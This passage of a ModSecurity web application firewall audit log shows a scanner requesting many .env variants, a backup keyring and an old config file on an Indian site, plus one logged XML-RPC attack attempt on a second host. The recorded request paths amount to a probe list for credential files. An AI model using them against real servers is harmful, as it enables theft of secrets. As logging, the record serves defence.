"COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/nginx.conf"] [unique_id "aE8f5z6fDirgE_qJvgHKYwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015975814885 656391 (- - -) Stopwatch2: 1750015975814885 656391; combined=1984, p1=371, p2=1518, p3=0, p4=0, p5=94, sr=124, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8afcc44c-Z-- --3a9f6070-A-- [16/Jun/2025:01:02:57.480780 +0530] aE8f6HsalJN_0-_70dLwMwAAAAU 185.177.72.210 56752 127.0.0.1 7081 --3a9f6070-B-- GET /:8181/.env.prod HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3a9f6070-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=89d92df1cd94eb0912bb0f819cbf7c0a1750015977; expires=Sun, 15 Jun 2025 20:32:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3a9f6070-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/.env.prod"] [unique_id "aE8f6HsalJN_0-_70dLwMwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015976807927 672917 (- - -) Stopwatch2: 1750015976807927 672917; combined=1936, p1=393, p2=1443, p3=0, p4=0, p5=100, sr=98, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3a9f6070-Z-- --09674713-A-- [16/Jun/2025:01:02:59.521606 +0530] aE8f6iLYlRp1nfGu7y5qOgAAAAQ 185.177.72.210 56830 127.0.0.1 7081 --09674713-B-- GET /.env.3 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --09674713-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a74b1e8232a2de23f93590f521c8e56e1750015979; expires=Sun, 15 Jun 2025 20:32:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --09674713-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.3"] [unique_id "aE8f6iLYlRp1nfGu7y5qOgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015978853338 668344 (- - -) Stopwatch2: 1750015978853338 668344; combined=2243, p1=447, p2=1688, p3=0, p4=0, p5=107, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --09674713-Z-- --6349d661-A-- [16/Jun/2025:01:03:00.535471 +0530] aE8f6yLYlRp1nfGu7y5qOwAAAAQ 185.177.72.210 40296 127.0.0.1 7081 --6349d661-B-- GET /:5601/shop/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6349d661-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=60b7197f913513c481279324e59da72a1750015980; expires=Sun, 15 Jun 2025 20:33:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6349d661-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/shop/.env"] [unique_id "aE8f6yLYlRp1nfGu7y5qOwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015979852214 683331 (- - -) Stopwatch2: 1750015979852214 683331; combined=2532, p1=526, p2=1906, p3=0, p4=0, p5=100, sr=114, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6349d661-Z-- --f61a1512-A-- [16/Jun/2025:01:03:01.673429 +0530] aE8f7Jnj7pFxi-BGHz6tqwAAAAI 185.177.72.210 40446 127.0.0.1 7081 --f61a1512-B-- GET /:9000/build/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f61a1512-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e1d670263b92a35faeed464b35b312a61750015981; expires=Sun, 15 Jun 2025 20:33:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f61a1512-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/build/.env"] [unique_id "aE8f7Jnj7pFxi-BGHz6tqwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015980913522 759984 (- - -) Stopwatch2: 1750015980913522 759984; combined=2017, p1=382, p2=1536, p3=0, p4=0, p5=98, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f61a1512-Z-- --e11b3c15-A-- [16/Jun/2025:01:03:11.548277 +0530] aE8f9pnj7pFxi-BGHz6ttgAAAAI 185.177.72.210 42314 127.0.0.1 7081 --e11b3c15-B-- GET /:10000/demo/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e11b3c15-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=72d68e220c42721a779bb9d3bcb4011c1750015991; expires=Sun, 15 Jun 2025 20:33:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e11b3c15-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/demo/.env"] [unique_id "aE8f9pnj7pFxi-BGHz6ttgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015990868732 679633 (- - -) Stopwatch2: 1750015990868732 679633; combined=1786, p1=384, p2=1307, p3=0, p4=0, p5=94, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e11b3c15-Z-- --73f1e70e-A-- [16/Jun/2025:01:03:19.892510 +0530] aE8f_4fvqn7_SDWw_wX2PwAAAAc 185.177.72.210 42684 127.0.0.1 7081 --73f1e70e-B-- GET /:8888/.env.back HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --73f1e70e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b06e08085b1dfd7253d7c0a1de5da4531750015999; expires=Sun, 15 Jun 2025 20:33:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --73f1e70e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.env.back"] [unique_id "aE8f_4fvqn7_SDWw_wX2PwAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750015999208395 684182 (- - -) Stopwatch2: 1750015999208395 684182; combined=1691, p1=356, p2=1180, p3=0, p4=0, p5=154, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --73f1e70e-Z-- --634e3578-A-- [16/Jun/2025:01:03:30.086595 +0530] aE8gCS7MaF0j8lD2KTIYjgAAAAM 128.199.112.101 57374 127.0.0.1 7081 --634e3578-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 488 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --634e3578-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --634e3578-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8gCS7MaF0j8lD2KTIYjgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016009145183 941464 (- - -) Stopwatch2: 1750016009145183 941464; combined=2076, p1=362, p2=1407, p3=32, p4=48, p5=143, sr=101, sw=84, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --634e3578-Z-- --df36107e-A-- [16/Jun/2025:01:03:30.465751 +0530] aE8gCSKD19h5xDtM-2wc4QAAAAo 185.177.72.210 32938 127.0.0.1 7081 --df36107e-B-- GET /app/configurationtion/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --df36107e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=83a91a6b7e52f7e4a06bfd1ba31e30211750016010; expires=Sun, 15 Jun 2025 20:33:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --df36107e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/app/configurationtion/.env"] [unique_id "aE8gCSKD19h5xDtM-2wc4QAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016009821167 644646 (- - -) Stopwatch2: 1750016009821167 644646; combined=2163, p1=451, p2=1613, p3=0, p4=0, p5=98, sr=103, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --df36107e-Z-- --6f279d0d-A-- [16/Jun/2025:01:03:34.520059 +0530] aE8gDSLYlRp1nfGu7y5qUgAAAAQ 185.177.72.210 33160 127.0.0.1 7081 --6f279d0d-B-- GET /.env.dev HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6f279d0d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2e28dd59998367afcf650ecc399d47881750016014; expires=Sun, 15 Jun 2025 20:33:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6f279d0d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.dev"] [unique_id "aE8gDSLYlRp1nfGu7y5qUgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016013872206 647943 (- - -) Stopwatch2: 1750016013872206 647943; combined=1926, p1=386, p2=1423, p3=0, p4=0, p5=116, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6f279d0d-Z-- --30cb5c3f-A-- [16/Jun/2025:01:03:38.475293 +0530] aE8gEZnj7pFxi-BGHz6txAAAAAI 185.177.72.210 33342 127.0.0.1 7081 --30cb5c3f-B-- GET /secring.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --30cb5c3f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=daedc4bed534034b2100e9ae533c76961750016018; expires=Sun, 15 Jun 2025 20:33:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --30cb5c3f-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/secring.bak"] [unique_id "aE8gEZnj7pFxi-BGHz6txAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016017816669 658683 (- - -) Stopwatch2: 1750016017816669 658683; combined=1949, p1=354, p2=1511, p3=0, p4=0, p5=83, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --30cb5c3f-Z-- --f1467705-A-- [16/Jun/2025:01:03:39.511765 +0530] aE8gEgW_rlaNA7qLBTtELgAAAAs 185.177.72.210 33372 127.0.0.1 7081 --f1467705-B-- GET /__tests__/test-become/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f1467705-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2417122aaa098b9c8548d3064506ad821750016019; expires=Sun, 15 Jun 2025 20:33:39 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f1467705-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/__tests__/test-become/.env"] [unique_id "aE8gEgW_rlaNA7qLBTtELgAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016018822116 689725 (- - -) Stopwatch2: 1750016018822116 689725; combined=2019, p1=406, p2=1512, p3=0, p4=0, p5=100, sr=107, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f1467705-Z-- --f3cfea46-A-- [16/Jun/2025:01:03:47.743980 +0530] aE8gG5nj7pFxi-BGHz6tyAAAAAI 185.177.72.210 43430 127.0.0.1 7081 --f3cfea46-B-- GET /credentials/config.php.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f3cfea46-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4b57c5d2c695e8b4e3368a3beb49080e1750016027; expires=Sun, 15 Jun 2025 20:33:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f3cfea46-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/credentials/config.php.old"] [unique_id "aE8gG5nj7pFxi-BGHz6tyAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016027064985 679057 (- - -) Stopwatch2: 1750016027064985 679057; combined=2031, p1=352, p2=1602, p3=0, p4=0, p5=77, sr=108, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f3cfea46-Z-- --9e90e641-A-- [16/Jun/2025:01:03:48.722558 +0530] aE8gHAW_rlaNA7qLBTtEMwAAAAs 185.177.72.210 43504 127.0.0.1 7081 --9e90e641-B-- GET /babel-plugin-dotenv/test/fixtures/override-value/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9e90e641-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=74eda6617c98823a4ec036282b4ddac91750016028; expires=Sun, 15 Jun 2025 20:33:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9e90e641-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/babel-plugin-dotenv/test/fixtures/override-value/.env"] [unique_id "aE8gHAW_rlaNA7qLBTtEMwAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750016028074581 648042 (- - -) Stopwatch2: 1750016028074581 648042; combined=1905, p1=405, p2=1409, p3=0, p4=0, p5=90, 